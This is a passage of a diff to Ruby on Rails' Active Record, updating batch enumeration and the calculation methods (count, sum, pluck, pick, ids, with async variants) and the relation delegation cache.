+            # If the last value is not found using offset, there is at most one more batch of size < batch_limit.
+            # Retry by getting the whole list of remaining values so that we have the exact size and last value.
+            unless values_last
+              values = batch_relation.pluck(*cursor)
+              values_size = values.size
+              values_last = values.last
+            end
+
+            # Finally, build the yielded relation if at least one value found.
+            if values_last
+              yielded_relation = apply_finish_limit(batch_relation, cursor, values_last, batch_orders)
+              yielded_relation = yielded_relation.except(:limit, :order)
+              yielded_relation.skip_query_cache!(false)
+            end
+          else
+            values = batch_relation.pluck(*cursor)
+            values_size = values.size
+            values_last = values.last
+            yielded_relation = rewhere(cursor => values)
+          end
+
+          break if values_size == 0
+
+          if [values_last].flatten.any?(nil)
+            raise ArgumentError, "Not all of the batch cursor columns were included in the custom select clause "\
+                                  "or some columns contain nil."
+          end
+
+          yield yielded_relation
+
+          break if values_size < batch_limit
+
+          if limit_value
+            remaining -= values_size
+
+            if remaining == 0
+              # Saves a useless iteration when the limit is a multiple of the
+              # batch size.
+              break
+            elsif remaining < batch_limit
+              relation = relation.limit(remaining)
+            end
+          end
+
+          batch_orders_copy = batch_orders.dup
+          _last_column, last_order = batch_orders_copy.pop
+          operators = batch_orders_copy.map do |_column, order|
+            order == :desc ? :lteq : :gteq
+          end
+          operators << (last_order == :desc ? :lt : :gt)
+
+          cursor_value = values_last
+          batch_relation = batch_condition(relation, cursor, cursor_value, operators)
+        end
+
+        nil
       end
   end
 end
diff --git a/activerecord/lib/active_record/relation/batches/batch_enumerator.rb b/activerecord/lib/active_record/relation/batches/batch_enumerator.rb
index 3555779ec2c5f..78cd753c7bb36 100644
--- a/activerecord/lib/active_record/relation/batches/batch_enumerator.rb
+++ b/activerecord/lib/active_record/relation/batches/batch_enumerator.rb
@@ -1,13 +1,32 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Batches
     class BatchEnumerator
       include Enumerable
 
-      def initialize(of: 1000, start: nil, finish: nil, relation:) #:nodoc:
+      def initialize(of: 1000, start: nil, finish: nil, relation:, cursor:, order: :asc, use_ranges: nil) # :nodoc:
         @of       = of
         @relation = relation
         @start = start
         @finish = finish
+        @cursor = cursor
+        @order = order
+        @use_ranges = use_ranges
+      end
+
+      # The primary key value from which the BatchEnumerator starts, inclusive of the value.
+      attr_reader :start
+
+      # The primary key value at which the BatchEnumerator ends, inclusive of the value.
+      attr_reader :finish
+
+      # The relation from which the BatchEnumerator yields batches.
+      attr_reader :relation
+
+      # The size of the batches yielded by the BatchEnumerator.
+      def batch_size
+        @of
       end
 
       # Looping through a collection of records from the database (using the
@@ -31,24 +50,53 @@ def initialize(of: 1000, start: nil, finish: nil, relation:) #:nodoc:
       #   Person.in_batches.each_record.with_index do |person, index|
       #     person.award_trophy(index + 1)
       #   end
-      def each_record
+      def each_record(&block)
         return to_enum(:each_record) unless block_given?
 
-        @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: true).each do |relation|
-          relation.records.each { |record| yield record }
+        @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: true, cursor: @cursor, order: @order).each do |relation|
+          relation.records.each(&block)
         end
       end
 
-      # Delegates #delete_all, #update_all, #destroy_all methods to each batch.
+      # Deletes records in batches. Returns the total number of rows affected.
+      #
+      #   Person.in_batches.delete_all
+      #
+      # See Relation#delete_all for details of how each batch is deleted.
+      def delete_all
+        sum(&:delete_all)
+      end
+
+      # Updates records in batches. Returns the total number of rows affected.
+      #
+      #   Person.in_batches.update_all("age = age + 1")
+      #
+      # See Relation#update_all for details of how each batch is updated.
+      def update_all(updates)
+        sum do |relation|
+          relation.update_all(updates)
+        end
+      end
+
+      # Touches records in batches. Returns the total number of rows affected.
+      #
+      #   Person.in_batches.touch_all
+      #
+      # See Relation#touch_all for details of how each batch is touched.
+      def touch_all(...)
+        sum do |relation|
+          relation.touch_all(...)
+        end
+      end
+
+      # Destroys records in batches. Returns the total number of rows affected.
+      #
+      #   Person.where("age < 10").in_batches.destroy_all
       #
-      #   People.in_batches.delete_all
-      #   People.where('age < 10').in_batches.destroy_all
-      #   People.in_batches.update_all('age = age + 1')
-      [:delete_all, :update_all, :destroy_all].each do |method|
-        define_method(method) do |*args, &block|
-          @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: false).each do |relation|
-            relation.send(method, *args, &block)
-          end
+      # See Relation#destroy_all for details of how each batch is destroyed.
+      def destroy_all
+        sum do |relation|
+          relation.destroy_all.count(&:destroyed?)
         end
       end
 
@@ -57,9 +105,9 @@ def each_record
       #   Person.in_batches.each do |relation|
       #     relation.update_all(awesome: true)
       #   end
-      def each
-        enum = @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: false)
-        return enum.each { |relation| yield relation } if block_given?
+      def each(&block)
+        enum = @relation.to_enum(:in_batches, of: @of, start: @start, finish: @finish, load: false, cursor: @cursor, order: @order, use_ranges: @use_ranges)
+        return enum.each(&block) if block_given?
         enum
       end
     end
diff --git a/activerecord/lib/active_record/relation/calculations.rb b/activerecord/lib/active_record/relation/calculations.rb
index 35c670f1a1ce5..ca8ac24f643d7 100644
--- a/activerecord/lib/active_record/relation/calculations.rb
+++ b/activerecord/lib/active_record/relation/calculations.rb
@@ -1,5 +1,51 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+
 module ActiveRecord
+  # = Active Record \Calculations
   module Calculations
+    class ColumnAliasTracker # :nodoc:
+      def initialize(connection)
+        @connection = connection
+        @aliases = Hash.new(0)
+      end
+
+      def alias_for(field)
+        aliased_name = column_alias_for(field)
+
+        if @aliases[aliased_name] == 0
+          @aliases[aliased_name] = 1
+          aliased_name
+        else
+          # Update the count
+          count = @aliases[aliased_name] += 1
+          "#{truncate(aliased_name)}_#{count}"
+        end
+      end
+
+      private
+        # Converts the given field to the value that the database adapter returns as
+        # a usable column name:
+        #
+        #   column_alias_for("users.id")                 # => "users_id"
+        #   column_alias_for("sum(id)")                  # => "sum_id"
+        #   column_alias_for("count(distinct users.id)") # => "count_distinct_users_id"
+        #   column_alias_for("count(*)")                 # => "count_all"
+        def column_alias_for(field)
+          column_alias = +field
+          column_alias.gsub!(/\*/, "all")
+          column_alias.gsub!(/\W+/, " ")
+          column_alias.strip!
+          column_alias.gsub!(/ +/, "_")
+          @connection.table_alias_for(column_alias)
+        end
+
+        def truncate(name)
+          name.slice(0, @connection.table_alias_length - 2)
+        end
+    end
+
     # Count the records.
     #
     #   Person.count
@@ -14,36 +60,55 @@ module Calculations
     #   Person.distinct.count(:age)
     #   # => counts the number of different age values
     #
-    # If #count is used with {Relation#group}[rdoc-ref:QueryMethods#group],
+    # If +count+ is used with {Relation#group}[rdoc-ref:QueryMethods#group],
     # it returns a Hash whose keys represent the aggregated column,
     # and the values are the respective amounts:
     #
     #   Person.group(:city).count
     #   # => { 'Rome' => 5, 'Paris' => 3 }
     #
-    # If #count is used with {Relation#group}[rdoc-ref:QueryMethods#group] for multiple columns, it returns a Hash whose
+    # If +count+ is used with {Relation#group}[rdoc-ref:QueryMethods#group] for multiple columns, it returns a Hash whose
     # keys are an array containing the individual values of each column and the value
-    # of each key would be the #count.
+    # of each key would be the count.
     #
     #   Article.group(:status, :category).count
-    #   # =>  {["draft", "business"]=>10, ["draft", "technology"]=>4,
-    #          ["published", "business"]=>0, ["published", "technology"]=>2}
+    #   # =>  {["draft", "business"]=>10, ["draft", "technology"]=>4, ["published", "technology"]=>2}
     #
-    # If #count is used with {Relation#select}[rdoc-ref:QueryMethods#select], it will count the selected columns:
+    # If +count+ is used with {Relation#select}[rdoc-ref:QueryMethods#select], it will count the selected columns:
     #
     #   Person.select(:age).count
     #   # => counts the number of different age values
     #
-    # Note: not all valid {Relation#select}[rdoc-ref:QueryMethods#select] expressions are valid #count expressions. The specifics differ
+    # Note: not all valid {Relation#select}[rdoc-ref:QueryMethods#select] expressions are valid +count+ expressions. The specifics differ
     # between databases. In invalid cases, an error from the database is thrown.
+    #
+    # When given a block, calls the block with each record in the relation and
+    # returns the number of records for which the block returns a truthy value.
+    #
+    #   Person.count { |person| person.age > 21 }
+    #   # => counts the number of people older that 21
+    #
+    # If the relation hasn't been loaded yet, calling +count+ with a block will
+    # load all records in the relation. If there are a lot of records in the
+    # relation, loading all records could result in performance issues.
     def count(column_name = nil)
       if block_given?
-        to_a.count { |*block_args| yield(*block_args) }
+        unless column_name.nil?
+          raise ArgumentError, "Column name argument is not supported when a block is passed."
+        end
+
+        super()
       else
         calculate(:count, column_name)
       end
     end
 
+    # Same as #count, but performs the query asynchronously and returns an
+    # ActiveRecord::Promise.
+    def async_count(column_name = nil)
+      async.count(column_name)
+    end
+
     # Calculates the average value on a given column. Returns +nil+ if there's
     # no row. See #calculate for examples with options.
     #
@@ -52,6 +117,12 @@ def average(column_name)
       calculate(:average, column_name)
     end
 
+    # Same as #average, but performs the query asynchronously and returns an
+    # ActiveRecord::Promise.
+    def async_average(column_name)
+      async.average(column_name)
+    end
+
     # Calculates the minimum value on a given column. The value is returned
     # with the same data type of the column, or +nil+ if there's no row. See
     # #calculate for examples with options.
@@ -61,6 +132,12 @@ def minimum(column_name)
       calculate(:minimum, column_name)
     end
 
+    # Same as #minimum, but performs the query asynchronously and returns an
+    # ActiveRecord::Promise.
+    def async_minimum(column_name)
+      async.minimum(column_name)
+    end
+
     # Calculates the maximum value on a given column. The value is returned
     # with the same data type of the column, or +nil+ if there's no row. See
     # #calculate for examples with options.
@@ -70,14 +147,39 @@ def maximum(column_name)
       calculate(:maximum, column_name)
     end
 
+    # Same as #maximum, but performs the query asynchronously and returns an
+    # ActiveRecord::Promise.
+    def async_maximum(column_name)
+      async.maximum(column_name)
+    end
+
     # Calculates the sum of values on a given column. The value is returned
     # with the same data type of the column, +0+ if there's no row. See
     # #calculate for examples with options.
     #
     #   Person.sum(:age) # => 4562
-    def sum(column_name = nil, &block)
-      return super(&block) if block_given?
-      calculate(:sum, column_name)
+    #
+    # When given a block, calls the block with each record in the relation and
+    # returns the sum of +initial_value_or_column+ plus the block return values:
+    #
+    #   Person.sum { |person| person.age } # => 4562
+    #   Person.sum(1000) { |person| person.age } # => 5562
+    #
+    # If the relation hasn't been loaded yet, calling +sum+ with a block will
+    # load all records in the relation. If there are a lot of records in the
+    # relation, loading all records could result in performance issues.
+    def sum(initial_value_or_column = 0, &block)
+      if block_given?
+        map(&block).sum(initial_value_or_column)
+      else
+        calculate(:sum, initial_value_or_column)
+      end
+    end
+
+    # Same as #sum, but performs the query asynchronously and returns an
+    # ActiveRecord::Promise.
+    def async_sum(identity_or_column = nil)
+      async.sum(identity_or_column)
     end
 
     # This calculates aggregate values in the given column. Methods for #count, #sum, #average,
@@ -112,9 +214,30 @@ def sum(column_name = nil, &block)
     #        ...
     #      end
     def calculate(operation, column_name)
+      operation = operation.to_s.downcase
+
+      if @none
+        case operation
+        when "count", "sum"
+          result = group_values.any? ? Hash.new : 0
+          return @async ? Promise::Complete.new(result) : result
+        when "average", "minimum", "maximum"
+          result = group_values.any? ? Hash.new : nil
+          return @async ? Promise::Complete.new(result) : result
+        end
+      end
+
       if has_include?(column_name)
-        relation = construct_relation_for_association_calculations
-        relation = relation.distinct if operation.to_s.downcase == "count"
+        relation = apply_join_dependency
+
+        if operation == "count"
+          unless distinct_value || distinct_select?(column_name || select_for_count)
+            relation.distinct!
+            relation.select_values = Array(model.primary_key || table[Arel.star])
+          end
+          # PostgreSQL: ORDER BY expressions must appear in SELECT list when using DISTINCT
+          relation.order_values = [] if group_values.empty?
+        end
 
         relation.calculate(operation, column_name)
       else
@@ -123,7 +246,7 @@ def calculate(operation, column_name)
     end
 
     # Use #pluck as a shortcut to select one or more attributes without
-    # loading a bunch of records just to grab the attributes you want.
+    # loading an entire record object per row.
     #
     #   Person.pluck(:name)
     #
@@ -151,38 +274,162 @@ def calculate(operation, column_name)
     #   # SELECT people.id FROM people WHERE people.age = 21 LIMIT 5
     #   # => [2, 3]
     #
-    #   Person.pluck('DATEDIFF(updated_at, created_at)')
+    #   Comment.joins(:person).pluck(:id, person: :id)
+    #   # SELECT comments.id, person.id FROM comments INNER JOIN people person ON person.id = comments.person_id
+    #   # => [[1, 2], [2, 2]]
+    #
+    #   Comment.joins(:person).pluck(:id, person: [:id, :name])
+    #   # SELECT comments.id, person.id, person.name FROM comments INNER JOIN people person ON person.id = comments.person_id
+    #   # => [[1, 2, 'David'], [2, 2, 'David']]
+    #
+    #   Person.pluck(Arel.sql('DATEDIFF(updated_at, created_at)'))
     #   # SELECT DATEDIFF(updated_at, created_at) FROM people
     #   # => ['0', '27761', '173']
     #
-    # See also #ids.
+    # Be aware that #pluck ignores any previous select clauses
+    #
+    #   Person.select(:name).pluck(:id)
+    #   # SELECT people.id FROM people
     #
+    # See also #ids.
     def pluck(*column_names)
-      if loaded? && (column_names.map(&:to_s) - @klass.attribute_names - @klass.attribute_aliases.keys).empty?
-        return records.pluck(*column_names)
+      if @none
+        if @async
+          return Promise::Complete.new([])
+        else
+          return []
+        end
+      end
+
+      if loaded? && all_attributes?(column_names)
+        result = records.pluck(*column_names)
+        if @async
+          return Promise::Complete.new(result)
+        else
+          return result
+        end
       end
 
       if has_include?(column_names.first)
-        construct_relation_for_association_calculations.pluck(*column_names)
+        relation = apply_join_dependency
+        relation.pluck(*column_names)
       else
+        model.disallow_raw_sql!(flattened_args(column_names))
         relation = spawn
-        relation.select_values = column_names.map { |cn|
-          @klass.has_attribute?(cn) || @klass.attribute_alias?(cn) ? arel_attribute(cn) : cn
-        }
-        result = klass.connection.select_all(relation.arel, nil, bound_attributes)
-        result.cast_values(klass.attribute_types)
+        columns = relation.arel_columns(column_names)
+        relation.select_values = columns
+        result = skip_query_cache_if_necessary do
+          if where_clause.contradiction? && !possible_aggregation?(column_names)
+            ActiveRecord::Result.empty(async: @async)
+          else
+            model.with_connection do |c|
+              c.select_all(relation.arel, "#{model.name} Pluck", async: @async)
+            end
+          end
+        end
+        result.then do |result|
+          type_cast_pluck_values(result, columns)
+        end
+      end
+    end
+
+    # Same as #pluck, but performs the query asynchronously and returns an
+    # ActiveRecord::Promise.
+    def async_pluck(*column_names)
+      async.pluck(*column_names)
+    end
+
+    # Pick the value(s) from the named column(s) in the current relation.
+    # This is short-hand for <tt>relation.limit(1).pluck(*column_names).first</tt>, and is primarily useful
+    # when you have a relation that's already narrowed down to a single row.
+    #
+    # Just like #pluck, #pick will only load the actual value, not the entire record object, so it's also
+    # more efficient. The value is, again like with pluck, typecast by the column type.
+    #
+    #   Person.where(id: 1).pick(:name)
+    #   # SELECT people.name FROM people WHERE id = 1 LIMIT 1
+    #   # => 'David'
+    #
+    #   Person.where(id: 1).pick(:name, :email_address)
+    #   # SELECT people.name, people.email_address FROM people WHERE id = 1 LIMIT 1
+    #   # => [ 'David', 'david@loudthinking.com' ]
+    def pick(*column_names)
+      if loaded? && all_attributes?(column_names)
+        result = records.pick(*column_names)
+        return @async ? Promise::Complete.new(result) : result
       end
+
+      limit(1).pluck(*column_names).then(&:first)
+    end
+
+    # Same as #pick, but performs the query asynchronously and returns an
+    # ActiveRecord::Promise.
+    def async_pick(*column_names)
+      async.pick(*column_names)
     end
 
-    # Pluck all the ID's for the relation using the table's primary key
+    # Returns the base model's ID's for the relation using the table's primary key
     #
     #   Person.ids # SELECT people.id FROM people
-    #   Person.joins(:companies).ids # SELECT people.id FROM people INNER JOIN companies ON companies.person_id = people.id
+    #   Person.joins(:company).ids # SELECT people.id FROM people INNER JOIN companies ON companies.id = people.company_id
     def ids
-      pluck primary_key
+      primary_key_array = Array(primary_key)
+
+      if loaded?
+        result = records.map do |record|
+          if primary_key_array.one?
+            record._read_attribute(primary_key_array.first)
+          else
+            primary_key_array.map { |column| record._read_attribute(column) }
+          end
+        end
+        return @async ? Promise::Complete.new(result) : result
+      end
+
+      if has_include?(primary_key)
+        relation = apply_join_dependency.group(*primary_key_array)
+        return relation.ids
+      end
+
+      columns = arel_columns(primary_key_array)
+      relation = spawn
+      relation.select_values = columns
+
+      result = if relation.where_clause.contradiction?
+        ActiveRecord::Result.empty
+      else
+        skip_query_cache_if_necessary do
+          model.with_connection do |c|
+            c.select_all(relation, "#{model.name} Ids", async: @async)
+          end
+        end
+      end
+
+      result.then { |result| type_cast_pluck_values(result, columns) }
     end
 
+    # Same as #ids, but performs the query asynchronously and returns an
+    # ActiveRecord::Promise.
+    def async_ids
+      async.ids
+    end
+
+    protected
+      def aggregate_column(column_name)
+        case column_name
+        when Arel::Expressions
+          column_name
+        when :all
+          Arel.star
+        else
+          arel_column(column_name.to_s)
+        end
+      end
+
     private
+      def all_attributes?(column_names)
+        (column_names.map(&:to_s) - model.attribute_names - model.attribute_aliases.keys).empty?
+      end
 
       def has_include?(column_name)
         eager_loading? || (includes_values.present? && column_name && column_name != :all)
@@ -197,8 +444,15 @@ def perform_calculation(operation, column_name)
 
         if operation == "count"
           column_name ||= select_for_count
-          column_name = primary_key if column_name == :all && distinct
-          distinct = nil if column_name =~ /\s*DISTINCT[\s(]+/i
+          if column_name == :all
+            if !distinct
+              distinct = distinct_select?(select_for_count) if group_values.empty?
+            elsif group_values.any? || select_values.empty? && order_values.empty?
+              column_name = primary_key
+            end
+          elsif distinct_select?(column_name)
+            distinct = nil
+          end
         end
 
         if group_values.any?
@@ -208,172 +462,230 @@ def perform_calculation(operation, column_name)
         end
       end
 
-      def aggregate_column(column_name)
-        return column_name if Arel::Expressions === column_name
+      def distinct_select?(column_name)
+        column_name.is_a?(::String) && /\bDISTINCT[\s(]/i.match?(column_name)
+      end
 
-        if @klass.has_attribute?(column_name.to_s) || @klass.attribute_alias?(column_name.to_s)
-          @klass.arel_attribute(column_name)
-        else
-          Arel.sql(column_name == :all ? "*" : column_name.to_s)
+      def possible_aggregation?(column_names)
+        column_names.all? do |column_name|
+          if column_name.is_a?(String)
+            column_name.include?("(")
+          else
+            Arel.arel_node?(column_name)
+          end
         end
       end
 
       def operation_over_aggregate_column(column, operation, distinct)
-        operation == "count" ? column.count(distinct) : column.send(operation)
+        operation == "count" ? column.count(distinct) : column.public_send(operation)
       end
 
-      def execute_simple_calculation(operation, column_name, distinct) #:nodoc:
-        column_alias = column_name
-
-        if operation == "count" && (limit_value || offset_value)
+      def execute_simple_calculation(operation, column_name, distinct) # :nodoc:
+        if build_count_subquery?(operation, column_name, distinct)
           # Shortcut when limit is zero.
           return 0 if limit_value == 0
 
+          relation = self
           query_builder = build_count_subquery(spawn, column_name, distinct)
         else
           # PostgreSQL doesn't like ORDER BY when there are no GROUP BY
-          relation = unscope(:order)
-
-          column = aggregate_column(column_name)
+          relation = unscope(:order).distinct!(false)
 
+          column = relation.aggregate_column(column_name)
           select_value = operation_over_aggregate_column(column, operation, distinct)
+          select_value.distinct = true if operation == "sum" && distinct
 
-          column_alias = select_value.alias
-          column_alias ||= @klass.connection.column_name_for_operation(operation, select_value)
           relation.select_values = [select_value]
 
           query_builder = relation.arel
         end
 
-        result = @klass.connection.select_all(query_builder, nil, bound_attributes)
-        row    = result.first
-        value  = row && row.values.first
-        type   = result.column_types.fetch(column_alias) do
-          type_for(column_name)
+        query_result = if relation.where_clause.contradiction?
+          if @async
+            FutureResult.wrap(ActiveRecord::Result.empty)
+          else
+            ActiveRecord::Result.empty
+          end
+        else
+          skip_query_cache_if_necessary do
+            model.with_connection do |c|
+              c.select_all(query_builder, "#{model.name} #{operation.capitalize}", async: @async)
+            end
+          end
         end
 
-        type_cast_calculated_value(value, type, operation)
-      end
-
-      def execute_grouped_calculation(operation, column_name, distinct) #:nodoc:
-        group_attrs = group_values
+        query_result.then do |result|
+          if operation != "count"
+            type = column.try(:type_caster) ||
+              lookup_cast_type_from_join_dependencies(column_name.to_s) || Type.default_value
+            type = type.subtype if Enum::EnumType === type
+          end
 
-        if group_attrs.first.respond_to?(:to_sym)
-          association  = @klass._reflect_on_association(group_attrs.first)
-          associated   = group_attrs.size == 1 && association && association.belongs_to? # only count belongs_to associations
-          group_fields = Array(associated ? association.foreign_key : group_attrs)
-        else
-          group_fields = group_attrs
+          type_cast_calculated_value(result.cast_values.first, operation, type)
         end
-        group_fields = arel_columns(group_fields)
+      end
 
-        group_aliases = group_fields.map { |field| column_alias_for(field) }
-        group_columns = group_aliases.zip(group_fields)
+      def execute_grouped_calculation(operation, column_name, distinct) # :nodoc:
+        group_fields = group_values
 
-        if operation == "count" && column_name == :all
-          aggregate_alias = "count_all"
-        else
-          aggregate_alias = column_alias_for([operation, column_name].join(" "))
+        if group_fields.size == 1 && group_fields.first.respond_to?(:to_sym)
+          association  = model._reflect_on_association(group_fields.first)
+          associated   = association && association.belongs_to? # only count belongs_to associations
+          group_fields = Array(association.foreign_key) if associated
         end
 
-        select_values = [
-          operation_over_aggregate_column(
-            aggregate_column(column_name),
-            operation,
-            distinct).as(aggregate_alias)
-        ]
-        select_values += select_values unless having_clause.empty?
-
-        select_values.concat group_columns.map { |aliaz, field|
-          if field.respond_to?(:as)
-            field.as(aliaz)
-          else
-            "#{field} AS #{aliaz}"
-          end
-        }
+        relation = except(:group).distinct!(false)
+        group_fields = relation.arel_columns(group_fields)
 
-        relation = except(:group)
-        relation.group_values  = group_fields
-        relation.select_values = select_values
+        model.with_connection do |connection|
+          column_alias_tracker = ColumnAliasTracker.new(connection)
 
-        calculated_data = @klass.connection.select_all(relation, nil, relation.bound_attributes)
+          group_aliases = group_fields.map { |field|
+            field = connection.visitor.compile(field) if Arel.arel_node?(field)
+            column_alias_tracker.alias_for(field.to_s.downcase)
+          }
+          group_columns = group_aliases.zip(group_fields)
 
-        if association
-          key_ids     = calculated_data.collect { |row| row[group_aliases.first] }
-          key_records = association.klass.base_class.where(association.klass.base_class.primary_key => key_ids)
-          key_records = Hash[key_records.map { |r| [r.id, r] }]
-        end
+          column = relation.aggregate_column(column_name)
+          column_alias = column_alias_tracker.alias_for("#{operation} #{column_name.to_s.downcase}")
+          select_value = operation_over_aggregate_column(column, operation, distinct)
+          select_value = select_value.as(model.adapter_class.quote_column_name(column_alias))
 
-        Hash[calculated_data.map do |row|
-          key = group_columns.map { |aliaz, col_name|
-            type = type_for(col_name) do
-              calculated_data.column_types.fetch(aliaz, Type.default_value)
+          select_values = [select_value]
+          select_values += self.select_values unless having_clause.empty?
+
+          select_values.concat group_columns.map { |aliaz, field|
+            aliaz = model.adapter_class.quote_column_name(aliaz)
+            if field.respond_to?(:as)
+              field.as(aliaz)
+            else
+              "#{field} AS #{aliaz}"
             end
-            type_cast_calculated_value(row[aliaz], type)
           }
-          key = key.first if key.size == 1
-          key = key_records[key] if associated
 
-          type = calculated_data.column_types.fetch(aggregate_alias) { type_for(column_name) }
-          [key, type_cast_calculated_value(row[aggregate_alias], type, operation)]
-        end]
-      end
+          relation.group_values  = group_fields
+          relation.select_values = select_values
 
-      # Converts the given keys to the value that the database adapter returns as
-      # a usable column name:
-      #
-      #   column_alias_for("users.id")                 # => "users_id"
-      #   column_alias_for("sum(id)")                  # => "sum_id"
-      #   column_alias_for("count(distinct users.id)") # => "count_distinct_users_id"
-      #   column_alias_for("count(*)")                 # => "count_all"
-      def column_alias_for(keys)
-        if keys.respond_to? :name
-          keys = "#{keys.relation.name}.#{keys.name}"
-        end
+          result = skip_query_cache_if_necessary do
+            connection.select_all(relation.arel, "#{model.name} #{operation.capitalize}", async: @async)
+          end
 
-        table_name = keys.to_s.downcase
-        table_name.gsub!(/\*/, "all")
-        table_name.gsub!(/\W+/, " ")
-        table_name.strip!
-        table_name.gsub!(/ +/, "_")
+          result.then do |calculated_data|
+            if association
+              key_ids     = calculated_data.collect { |row| row[group_aliases.first] }
+              key_records = association.klass.base_class.where(association.klass.base_class.primary_key => key_ids)
+              key_records = key_records.index_by(&:id)
+            end
 
-        @klass.connection.table_alias_for(table_name)
+            key_types = group_columns.each_with_object({}) do |(aliaz, col_name), types|
+              types[aliaz] = col_name.try(:type_caster) ||
+                type_for(col_name) do
+                  calculated_data.column_types.fetch(aliaz, Type.default_value)
+                end
+            end
+
+            hash_rows = calculated_data.cast_values(key_types).map! do |row|
+              calculated_data.columns.each_with_object({}).with_index do |(col_name, hash), i|
+                hash[col_name] = row[i]
+              end
+            end
+
+            if operation != "count"
+              type = column.try(:type_caster) ||
+                lookup_cast_type_from_join_dependencies(column_name.to_s) || Type.default_value
+              type = type.subtype if Enum::EnumType === type
+            end
+
+            hash_rows.each_with_object({}) do |row, result|
+              key = group_aliases.map { |aliaz| row[aliaz] }
+              key = key.first if key.size == 1
+              key = key_records[key] if associated
+
+              result[key] = type_cast_calculated_value(row[column_alias], operation, type)
+            end
+          end
+        end
       end
 
       def type_for(field, &block)
         field_name = field.respond_to?(:name) ? field.name.to_s : field.to_s.split(".").last
-        @klass.type_for_attribute(field_name, &block)
+        model.type_for_attribute(field_name, &block)
+      end
+
+      def lookup_cast_type_from_join_dependencies(name, join_dependencies = build_join_dependencies)
+        each_join_dependencies(join_dependencies) do |join|
+          type = join.base_klass.attribute_types.fetch(name, nil)
+          return type if type
+        end
+        nil
+      end
+
+      def type_cast_pluck_values(result, columns)
+        cast_types = if result.columns.size != columns.size
+          model.attribute_types
+        else
+          join_dependencies = nil
+          columns.map.with_index do |column, i|
+            column.try(:type_caster) ||
+              model.attribute_types.fetch(name = result.columns[i]) do
+                join_dependencies ||= build_join_dependencies
+                lookup_cast_type_from_join_dependencies(name, join_dependencies) ||
+                  result.column_types[i] || Type.default_value
+              end
+          end
+        end
+        result.cast_values(cast_types)
       end
 
-      def type_cast_calculated_value(value, type, operation = nil)
+      def type_cast_calculated_value(value, operation, type)
         case operation
-        when "count"   then value.to_i
-        when "sum"     then type.deserialize(value || 0)
-        when "average" then value.respond_to?(:to_d) ? value.to_d : value
-        else type.deserialize(value)
+        when "count"
+          value.to_i
+        when "sum"
+          type.deserialize(value || 0)
+        when "average"
+          case type.type
+          when :integer, :decimal
+            value&.to_d
+          else
+            type.deserialize(value)
+          end
+        else # "minimum", "maximum"
+          type.deserialize(value)
         end
       end
 
       def select_for_count
-        if select_values.present?
-          return select_values.first if select_values.one?
-          select_values.join(", ")
-        else
+        if select_values.empty?
           :all
+        else
+          with_connection do |conn|
+            arel_columns(select_values).map { |column| conn.visitor.compile(column) }.join(", ")
+          end
         end
       end
 
+      def build_count_subquery?(operation, column_name, distinct)
+        # SQLite and older MySQL does not support `COUNT DISTINCT` with `*` or
+        # multiple columns, so we need to use subquery for this.
+        operation == "count" &&
+          (((column_name == :all || select_values.many?) && distinct) || has_limit_or_offset?)
+      end
+
       def build_count_subquery(relation, column_name, distinct)
-        column_alias = Arel.sql("count_column")
-        subquery_alias = Arel.sql("subquery_for_count")
+        if column_name == :all
+          column_alias = Arel.star
+          relation.select_values = [ Arel.sql(FinderMethods::ONE_AS_ONE) ] unless distinct
+          relation.unscope!(:order)
+        else
+          column_alias = Arel.sql("count_column")
+          relation.select_values = [ relation.aggregate_column(column_name).as(column_alias) ]
+        end
 
-        aliased_column = aggregate_column(column_name == :all ? 1 : column_name).as(column_alias)
-        relation.select_values = [aliased_column]
-        subquery = relation.arel.as(subquery_alias)
+        subquery_alias = Arel.sql("subquery_for_count", retryable: true)
+        select_value = operation_over_aggregate_column(column_alias, "count", false)
 
-        sm = Arel::SelectManager.new relation.engine
-        select_value = operation_over_aggregate_column(column_alias, "count", distinct)
-        sm.project(select_value).from(subquery)
+        relation.build_subquery(subquery_alias, select_value)
       end
   end
 end
diff --git a/activerecord/lib/active_record/relation/delegation.rb b/activerecord/lib/active_record/relation/delegation.rb
index d3ba724507be1..c80b430255ed1 100644
--- a/activerecord/lib/active_record/relation/delegation.rb
+++ b/activerecord/lib/active_record/relation/delegation.rb
@@ -1,21 +1,41 @@
+# frozen_string_literal: true
+
+
 module ActiveRecord
   module Delegation # :nodoc:
+    class << self
+      def delegated_classes
+        [
+          ActiveRecord::Relation,
+          ActiveRecord::Associations::CollectionProxy,
+          ActiveRecord::AssociationRelation,
+          ActiveRecord::DisableJoinsAssociationRelation,
+        ]
+      end
+
+      def uncacheable_methods
+        @uncacheable_methods ||= (
+          delegated_classes.flat_map(&:public_instance_methods) - ActiveRecord::Relation.public_instance_methods
+        ).to_set.freeze
+      end
+    end
+
     module DelegateCache # :nodoc:
+      @delegate_base_methods = true
+      singleton_class.attr_accessor :delegate_base_methods
+
       def relation_delegate_class(klass)
         @relation_delegate_cache[klass]
       end
 
       def initialize_relation_delegate_cache
         @relation_delegate_cache = cache = {}
-        [
-          ActiveRecord::Relation,
-          ActiveRecord::Associations::CollectionProxy,
-          ActiveRecord::AssociationRelation
-        ].each do |klass|
+        Delegation.delegated_classes.each do |klass|
           delegate = Class.new(klass) {
             include ClassSpecificRelation
           }
-          mangled_name = klass.name.gsub("::".freeze, "_".freeze)
+          include_relation_methods(delegate)
+          mangled_name = klass.name.gsub("::", "_")
           const_set mangled_name, delegate
           private_constant mangled_name
 
@@ -27,70 +47,87 @@ def inherited(child_class)
         child_class.initialize_relation_delegate_cache
         super
       end
+
+      def generate_relation_method(method)
+        generated_relation_methods.generate_method(method)
+      end
+
+      protected
+        def include_relation_methods(delegate)
+          superclass.include_relation_methods(delegate) unless base_class?
+          delegate.include generated_relation_methods
+        end
+
+      private
+        def generated_relation_methods
+          @generated_relation_methods ||= GeneratedRelationMethods.new.tap do |mod|
+            const_set(:GeneratedRelationMethods, mod)
+            private_constant :GeneratedRelationMethods
+          end
+        end
     end
 
+    class GeneratedRelationMethods < Module # :nodoc:
+      MUTEX = Mutex.new
+
+      def generate_method(method)
+        MUTEX.synchronize do
+          return if method_defined?(method)
+
+          if /\A[a-zA-Z_]\w*[!?]?\z/.match?(method) && !::ActiveSupport::Delegation::RESERVED_METHOD_NAMES.include?(method.to_s)
+            module_eval <<-RUBY, __FILE__, __LINE__ + 1
+              def #{method}(...)
